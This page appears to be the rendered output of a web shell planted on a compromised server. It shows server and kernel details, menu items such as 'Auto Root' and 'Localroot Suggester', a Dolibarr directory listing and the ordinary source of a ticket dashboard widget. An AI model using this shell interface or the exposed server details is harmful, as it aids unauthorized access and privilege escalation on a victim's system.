Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.152
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
btm2000.apps-dev.fr /
core /
boxes /
Delete
Unzip
Name
Size
Permission
Date
Action
box_accountancy_last_manual_entries.php
5.08
KB
-rw-r--r--
2023-12-15 13:44
box_accountancy_suspense_account.php
4.05
KB
-rw-r--r--
2023-12-15 13:44
box_actions.php
9.14
KB
-rw-r--r--
2023-12-15 13:44
box_actions_future.php
9.24
KB
-rw-r--r--
2023-12-15 13:44
box_activity.php
15.19
KB
-rw-r--r--
2023-12-15 13:44
box_birthdays.php
5.83
KB
-rw-r--r--
2023-12-15 13:44
box_birthdays_members.php
5.38
KB
-rw-r--r--
2023-12-15 13:44
box_boms.php
5.55
KB
-rw-r--r--
2023-12-15 13:44
box_bookmarks.php
4.43
KB
-rw-r--r--
2023-12-15 13:44
box_clients.php
5.9
KB
-rw-r--r--
2023-12-15 13:44
box_commandes.php
7.15
KB
-rw-r--r--
2023-12-15 13:44
box_comptes.php
6.12
KB
-rw-r--r--
2023-12-15 13:44
box_contacts.php
8.01
KB
-rw-r--r--
2023-12-15 13:44
box_contracts.php
6.52
KB
-rw-r--r--
2023-12-15 13:44
box_customers_outstanding_bill_reached.php
6.05
KB
-rw-r--r--
2023-12-15 13:44
box_dolibarr_state_board.php
14.15
KB
-rw-r--r--
2023-12-15 13:44
box_external_rss.php
7.12
KB
-rw-r--r--
2023-12-15 13:44
box_factures.php
8.1
KB
-rw-r--r--
2023-12-15 13:44
box_factures_fourn.php
7.8
KB
-rw-r--r--
2023-12-15 13:44
box_factures_fourn_imp.php
9.67
KB
-rw-r--r--
2023-12-15 13:44
box_factures_imp.php
9.72
KB
-rw-r--r--
2023-12-15 13:44
box_ficheinter.php
5.8
KB
-rw-r--r--
2023-12-15 13:44
box_fournisseurs.php
5.8
KB
-rw-r--r--
2023-12-15 13:44
box_funnel_of_prospection.php
10.21
KB
-rw-r--r--
2023-12-15 13:44
box_goodcustomers.php
5.6
KB
-rw-r--r--
2023-12-15 13:44
box_graph_invoices_permonth.php
10.19
KB
-rw-r--r--
2023-12-15 13:44
box_graph_invoices_peryear.php
7.69
KB
-rw-r--r--
2023-12-15 13:44
box_graph_invoices_supplier_permonth.php
10.24
KB
-rw-r--r--
2023-12-15 13:44
box_graph_nb_ticket_last_x_days.php
7.61
KB
-rw-r--r--
2023-12-15 13:44
box_graph_nb_tickets_type.php
5.99
KB
-rw-r--r--
2023-12-15 13:44
box_graph_new_vs_close_ticket.php
5.67
KB
-rw-r--r--
2023-12-15 13:44
box_graph_orders_permonth.php
10.48
KB
-rw-r--r--
2023-12-15 13:44
box_graph_orders_supplier_permonth.php
10.52
KB
-rw-r--r--
2023-12-15 13:44
box_graph_product_distribution.php
15.18
KB
-rw-r--r--
2023-12-15 13:44
box_graph_propales_permonth.php
10.59
KB
-rw-r--r--
2023-12-15 13:44
box_graph_ticket_by_severity.php
6.59
KB
-rw-r--r--
2023-12-15 13:44
box_last_knowledgerecord.php
5.92
KB
-rw-r--r--
2023-12-15 13:44
box_last_modified_knowledgerecord.php
5.98
KB
-rw-r--r--
2023-12-15 13:44
box_last_modified_ticket.php
6.67
KB
-rw-r--r--
2023-12-15 13:44
box_last_ticket.php
6.73
KB
-rw-r--r--
2023-12-15 13:44
box_lastlogin.php
3.16
KB
-rw-r--r--
2023-12-15 13:44
box_members_by_tags.php
10.56
KB
-rw-r--r--
2023-12-15 13:44
box_members_by_type.php
10.43
KB
-rw-r--r--
2023-12-15 13:44
box_members_last_modified.php
6.6
KB
-rw-r--r--
2023-12-15 13:44
box_members_last_subscriptions.php
6.89
KB
-rw-r--r--
2023-12-15 13:44
box_members_subscriptions_by_year.php
7.28
KB
-rw-r--r--
2023-12-15 13:44
box_mos.php
5.56
KB
-rw-r--r--
2023-12-15 13:44
box_produits.php
9.18
KB
-rw-r--r--
2023-12-15 13:44
box_produits_alerte_stock.php
9.43
KB
-rw-r--r--
2023-12-15 13:44
box_project.php
7.46
KB
-rw-r--r--
2023-12-15 13:44
box_project_opportunities.php
7.45
KB
-rw-r--r--
2023-12-15 13:44
box_propales.php
6.89
KB
-rw-r--r--
2023-12-15 13:44
box_prospect.php
6.13
KB
-rw-r--r--
2023-12-15 13:44
box_scheduled_jobs.php
7.39
KB
-rw-r--r--
2023-12-15 13:44
box_services_contracts.php
8.47
KB
-rw-r--r--
2023-12-15 13:44
box_services_expired.php
6.38
KB
-rw-r--r--
2023-12-15 13:44
box_shipments.php
6.44
KB
-rw-r--r--
2023-12-15 13:44
box_supplier_orders.php
6.75
KB
-rw-r--r--
2023-12-15 13:44
box_supplier_orders_awaiting_reception.php
7.03
KB
-rw-r--r--
2023-12-15 13:44
box_task.php
8.37
KB
-rw-r--r--
2023-12-15 13:44
box_validated_projects.php
6.95
KB
-rw-r--r--
2023-12-15 13:44
modules_boxes.php
15.1
KB
-rw-r--r--
2023-12-15 13:44
Save
Rename
<?php /* Module descriptor for ticket system * Copyright (C) 2013-2016 Jean-François FERRY <hello@librethic.io> * 2016 Christophe Battarel <christophe@altairis.fr> * Copyright (C) 2019-2021 Frédéric France <frederic.france@netlogic.fr> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file core/boxes/box_last_modified_ticket.php * \ingroup ticket * \brief This box shows latest modified tickets */ require_once DOL_DOCUMENT_ROOT."/core/boxes/modules_boxes.php"; /** * Class to manage the box */ class box_last_modified_ticket extends ModeleBoxes { public $boxcode = "box_last_modified_ticket"; public $boximg = "ticket"; public $boxlabel; public $depends = array("ticket"); /** * @var DoliDB Database handler. */ public $db; public $param; public $info_box_head = array(); public $info_box_contents = array(); /** * Constructor * @param DoliDB $db Database handler * @param string $param More parameters */ public function __construct($db, $param = '') { global $langs; $langs->load("boxes"); $this->db = $db; $this->boxlabel = $langs->transnoentitiesnoconv("BoxLastModifiedTicket"); } /** * Load data into info_box_contents array to show array later. * * @param int $max Maximum number of records to load * @return void */ public function loadBox($max = 5) { global $conf, $user, $langs; $this->max = $max; require_once DOL_DOCUMENT_ROOT."/ticket/class/ticket.class.php"; $text = $langs->trans("BoxLastModifiedTicketDescription", $max); $this->info_box_head = array( 'text' => $text, 'limit' => dol_strlen($text) ); $this->info_box_contents[0][0] = array( 'td' => 'class="left"', 'text' => $langs->trans("BoxLastModifiedTicketContent"), ); if ($user->hasRight('ticket', 'read')) { $sql = "SELECT t.rowid as id, t.ref, t.track_id, t.fk_soc, t.fk_user_create, t.fk_user_assign, t.subject, t.message, t.fk_statut, t.type_code, t.category_code, t.severity_code, t.datec, t.tms as datem, t.date_read, t.date_close, t.origin_email "; $sql .= ", type.label as type_label, category.label as category_label, severity.label as severity_label"; $sql .= ", s.nom as company_name, s.email as socemail, s.client, s.fournisseur"; $sql .= " FROM ".MAIN_DB_PREFIX."ticket as t"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_ticket_type as type ON type.code=t.type_code"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_ticket_category as category ON category.code=t.category_code"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_ticket_severity as severity ON severity.code=t.severity_code"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s ON s.rowid=t.fk_soc"; $sql .= " WHERE t.entity IN (".getEntity('ticket').')'; // $sql.= " AND e.rowid = er.fk_event"; //if (empty($user->rights->societe->client->voir) && !$user->socid) $sql.= " WHERE s.rowid = sc.fk_soc AND sc.fk_user = " .((int) $user->id); if ($user->socid) { $sql .= " AND t.fk_soc = ".((int) $user->socid); } $sql .= " ORDER BY t.tms DESC, t.rowid DESC"; $sql .= $this->db->plimit($max, 0); $resql = $this->db->query($sql); if ($resql) { $num = $this->db->num_rows($resql); $i = 0; while ($i < $num) { $objp = $this->db->fetch_object($resql); $datec = $this->db->jdate($objp->datec); $datem = $this->db->jdate($objp->datem); $ticket = new Ticket($this->db); $ticket->id = $objp->id; $ticket->track_id = $objp->track_id; $ticket->ref = $objp->ref; $ticket->fk_statut = $objp->fk_statut; $ticket->subject = $objp->subject; $ticket->date_creation = $datec; $ticket->date_modification = $datem; $ticket->fk_statut = $objp->fk_statut; $ticket->fk_statut = $objp->fk_statut; if ($objp->fk_soc > 0) { $thirdparty = new Societe($this->db); $thirdparty->id = $objp->fk_soc; $thirdparty->email = $objp->socemail; $thirdparty->client = $objp->client; $thirdparty->fournisseur = $objp->fournisseur; $thirdparty->name = $objp->company_name; $link = $thirdparty->getNomUrl(1); } else { $link = dol_print_email($objp->origin_email); } $r = 0; // Ticket $this->info_box_contents[$i][0] = array( 'td' => 'class="nowraponall"', 'text' => $ticket->getNomUrl(1), 'asis' => 1, ); $r++; // Subject $this->info_box_contents[$i][$r] = array( 'td' => 'class="nowrap tdoverflowmax150"', 'text' => $objp->subject, // Some event have no ref 'url' => DOL_URL_ROOT."/ticket/card.php?track_id=".$objp->track_id, ); $r++; // Customer $this->info_box_contents[$i][$r] = array( 'td' => 'class="tdoverflowmax150"', 'text' => $link, 'asis' => 1, ); $r++; // Date creation $this->info_box_contents[$i][$r] = array( 'td' => 'class="center nowraponall" title="'.dol_escape_htmltag($langs->trans("DateModification").': '.dol_print_date($datem, 'dayhour', 'tzuserrel')).'"', 'text' => dol_print_date($datem, 'dayhour', 'tzuserrel') ); $r++; // Statut $this->info_box_contents[$i][$r] = array( 'td' => 'class="right nowraponall"', 'text' => $ticket->getLibStatut(3) ); $r++; $i++; } if ($num == 0) { $this->info_box_contents[$i][0] = array('td' => '', 'text'=>'<span class="opacitymedium">'.$langs->trans("BoxLastModifiedTicketNoRecordedTickets").'</span>'); } } else { dol_print_error($this->db); } } else { $this->info_box_contents[0][0] = array( 'td' => '', 'text' => '<span class="opacitymedium">'.$langs->trans("ReadPermissionNotAllowed").'</span>', ); } } /** * Method to show box * * @param array $head Array with properties of box title * @param array $contents Array with properties of box lines * @param int $nooutput No print, only return string * @return string */ public function showBox($head = null, $contents = null, $nooutput = 0) { return parent::showBox($this->info_box_head, $this->info_box_contents, $nooutput); } }